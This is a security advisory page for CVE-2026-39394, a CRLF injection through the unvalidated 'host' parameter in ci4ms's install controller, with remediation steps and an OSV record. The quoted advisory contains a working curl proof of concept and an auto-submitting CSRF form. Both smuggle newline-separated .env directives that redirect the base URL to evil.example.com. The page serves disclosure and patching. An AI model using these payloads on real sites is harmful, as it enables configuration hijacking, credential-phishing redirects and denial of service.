CVE-2026-39394: Ci4 cms erp/ci4ms CI4MS Vulnerable To .env CRLF Vulnerability

HIGH
Advisory Identifier: GHSA-vfhx-5459-qhqh
CVSS 8.1
CWE-93
Published
Advisory Summary

CVE-2026-39394 is a HIGH (CVSS 8.1) ci4ms vulnerable to .env crlf vulnerability (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) affecting Ci4 cms erp/ci4ms libraries in the Packagist ecosystem. The issue involves ci4ms vulnerable to .env crlf injection via unvalidated `host` parameter in install controller. Remediation is available by upgrading affected packages to version 0.31.4.0.

CVE-2026-39394 at a Glance

CVE Identifier CVE-2026-39394
GHSA Identifier GHSA-vfhx-5459-qhqh
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Affected Product Ci4 cms erp/ci4ms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-39394

To remediate this vulnerability, upgrade all affected Ci4 cms erp/ci4ms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ci4-cms-erp/ci4ms fixed: 0.31.4.0
Upgrade ci4-cms-erp/ci4ms to 0.31.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for ci4-cms-erp/ci4ms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-39394, inspect your project dependencies for Ci4 cms erp/ci4ms:

inspect dependencies for ci4-cms-erp/ci4ms

Analyze the terminal output to locate any version of Ci4 cms erp/ci4ms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.31.4.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'), where the product uses crlf (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes crlf sequences from inputs. In Ci4 cms erp/ci4ms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache('settings')` is empty (cache expiry or fresh deployment). ## Details In `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35: ```php // line 32-41 $updates = [ 'CI_ENVIRONMENT' => 'development', 'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'', 'database.default.hostname' => $this->request->getPost('host'), // NO VALIDATION 'database.default.database' => $this->request->getPost('dbname'), // ... ]; ``` This value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string: ```php // line 94-98 foreach ($updates as $key => $value) { $pattern = '/^' . preg_quote($key, '/') . '=.*/m'; $replacement = "{$key}={$value}"; if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents); else $contents .= PHP_EOL . $replacement; } ``` Since the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`. The `dbpassword` field (line 17) is a secondary vector — its validation (`permit_empty|max_length[255]`) does not reject newline characters. **Access conditions:** - CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`. - `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache('settings')` is populated. The endpoint is accessible during fresh install or after cache expiry/clear. **Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable. ## PoC **Scenario:** Application is deployed but cache has expired (or fresh install window). ```bash # Inject app.baseURL override and disable secure requests via host parameter # The %0a represents a newline that creates new .env lines curl -X POST 'http://target/install/' \ -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler' ``` **Expected result:** The `.env` file will contain: ``` database.default.hostname=localhost app.baseURL=http://evil.example.com/ app.forceGlobalSecureRequests=false session.driver=CodeIgniter\Session\Handlers\DatabaseHandler ``` These injected lines override the legitimate `app.baseURL` set earlier (CI4's DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling. **CSRF exploitation variant** (no direct access needed): ```html <!-- Hosted on attacker site, victim admin visits while cache is empty --> <form id="f" method="POST" action="http://target/install/"> <input name="baseUrl" value="http://target/"> <input name="host" value="localhost&#10;app.baseURL='http://evil.example.com/'"> <!-- ... other required fields ... --> </form> <script>document.getElementById('f').submit();</script> ``` ## Impact An unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables: - **Application URL hijacking** — injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure - **Security downgrade** — disabling `forceGlobalSecureRequests`, CSP, or other security settings - **Session manipulation** — changing session driver or save path configuration - **Full application reconfiguration** — the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service) - **Database redirect** — while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network. ## Recommended Fix 1. **Add validation for the `host` parameter** — reject newlines and restrict to valid hostnames/IPs: ```php // In $valData, add: 'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'], ``` 2. **Sanitize all values in `updateEnvSettings()`** — strip newlines from replacement strings: ```php private function updateEnvSettings(array $updates) { $envPath = ROOTPATH . '.env'; if (!file_exists($envPath)) return ['error' => "'.env' file not found."]; $contents = file_get_contents($envPath); foreach ($updates as $key => $value) { $value = str_replace(["\r", "\n"], '', (string) $value); // Strip CRLF $pattern = '/^' . preg_quote($key, '/') . '=.*/m'; $replacement = "{$key}={$value}"; if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents); else $contents .= PHP_EOL . $replacement; } file_put_contents($envPath, $contents); return true; } ``` 3. **Add newline validation to `dbpassword`** — add `regex_match[/^[^\r\n]*$/]` to the validation rules. 4. **Strengthen `InstallFilter`** — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).

CVE-2026-39394 Affected Ci4 cms erp/ci4ms Versions

1 component(s)
Fixed Versions:
0.31.4.0
Product / Package Ecosystem Affected Versions Fixed Version
ci4-cms-erp/ci4ms
Packagist
< 0.31.4.0
0.31.4.0

References

Frequently Asked Questions

What is CVE-2026-39394?
CVE-2026-39394 is a security vulnerability in Ci4 cms erp/ci4ms involving CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').
Which Ci4 cms erp/ci4ms versions are affected?
Affected versions include releases prior to 0.31.4.0 across affected packages: ci4-cms-erp/ci4ms.
What version fixes CVE-2026-39394?
Upgrading to 0.31.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ci4-cms-erp/ci4ms affected?
Yes, ci4-cms-erp/ci4ms is affected in releases prior to 0.31.4.0. Upgrade your dependency to 0.31.4.0 or later.
What is the CVSS score of CVE-2026-39394?
CVE-2026-39394 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-39394?
CVE-2026-39394 is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.).
How can I check Packagist dependencies for CVE-2026-39394?
Run the dependency tree command: 'inspect dependencies for ci4-cms-erp/ci4ms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vfhx-5459-qhqh",
  "modified" : "2026-04-08T19:16:12Z",
  "published" : "2026-04-08T19:16:12Z",
  "aliases" : [ "CVE-2026-39394" ],
  "summary" : "CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller",
  "details" : "## Summary\n\nThe `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache('settings')` is empty (cache expiry or fresh deployment).\n\n## Details\n\nIn `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35:\n\n```php\n// line 32-41\n$updates = [\n    'CI_ENVIRONMENT' => 'development',\n    'app.baseURL' => '\\'' . $this->request->getPost('baseUrl') . '\\'',\n    'database.default.hostname' => $this->request->getPost('host'),  // NO VALIDATION\n    'database.default.database' => $this->request->getPost('dbname'),\n    // ...\n];\n```\n\nThis value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string:\n\n```php\n// line 94-98\nforeach ($updates as $key => $value) {\n    $pattern = '/^' . preg_quote($key, '/') . '=.*/m';\n    $replacement = \"{$key}={$value}\";\n    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n    else $contents .= PHP_EOL . $replacement;\n}\n```\n\nSince the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`.\n\nThe `dbpassword` field (line 17) is a secondary vector — its validation (`permit_empty|max_length[255]`) does not reject newline characters.\n\n**Access conditions:**\n- CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`.\n- `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache('settings')` is populated. The endpoint is accessible during fresh install or after cache expiry/clear.\n\n**Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable.\n\n## PoC\n\n**Scenario:** Application is deployed but cache has expired (or fresh install window).\n\n```bash\n# Inject app.baseURL override and disable secure requests via host parameter\n# The %0a represents a newline that creates new .env lines\ncurl -X POST 'http://target/install/' \\\n  -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler'\n```\n\n**Expected result:** The `.env` file will contain:\n\n```\ndatabase.default.hostname=localhost\napp.baseURL=http://evil.example.com/\napp.forceGlobalSecureRequests=false\nsession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\n```\n\nThese injected lines override the legitimate `app.baseURL` set earlier (CI4's DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling.\n\n**CSRF exploitation variant** (no direct access needed):\n\n```html\n<!-- Hosted on attacker site, victim admin visits while cache is empty -->\n<form id=\"f\" method=\"POST\" action=\"http://target/install/\">\n  <input name=\"baseUrl\" value=\"http://target/\">\n  <input name=\"host\" value=\"localhost&#10;app.baseURL='http://evil.example.com/'\">\n  <!-- ... other required fields ... -->\n</form>\n<script>document.getElementById('f').submit();</script>\n```\n\n## Impact\n\nAn unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:\n\n- **Application URL hijacking** — injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure\n- **Security downgrade** — disabling `forceGlobalSecureRequests`, CSP, or other security settings\n- **Session manipulation** — changing session driver or save path configuration\n- **Full application reconfiguration** — the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service)\n- **Database redirect** — while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior\n\nThe attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.\n\n## Recommended Fix\n\n1. **Add validation for the `host` parameter** — reject newlines and restrict to valid hostnames/IPs:\n\n```php\n// In $valData, add:\n'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'],\n```\n\n2. **Sanitize all values in `updateEnvSettings()`** — strip newlines from replacement strings:\n\n```php\nprivate function updateEnvSettings(array $updates)\n{\n    $envPath = ROOTPATH . '.env';\n    if (!file_exists($envPath)) return ['error' => \"'.env' file not found.\"];\n    $contents = file_get_contents($envPath);\n    foreach ($updates as $key => $value) {\n        $value = str_replace([\"\\r\", \"\\n\"], '', (string) $value);  // Strip CRLF\n        $pattern = '/^' . preg_quote($key, '/') . '=.*/m';\n        $replacement = \"{$key}={$value}\";\n        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n        else $contents .= PHP_EOL . $replacement;\n    }\n    file_put_contents($envPath, $contents);\n    return true;\n}\n```\n\n3. **Add newline validation to `dbpassword`** — add `regex_match[/^[^\\r\\n]*$/]` to the validation rules.\n\n4. **Strengthen `InstallFilter`** — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.4.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39394"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-93" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T19:16:12Z",
    "nvd_published_at" : "2026-04-08T15:16:14Z"
  }
}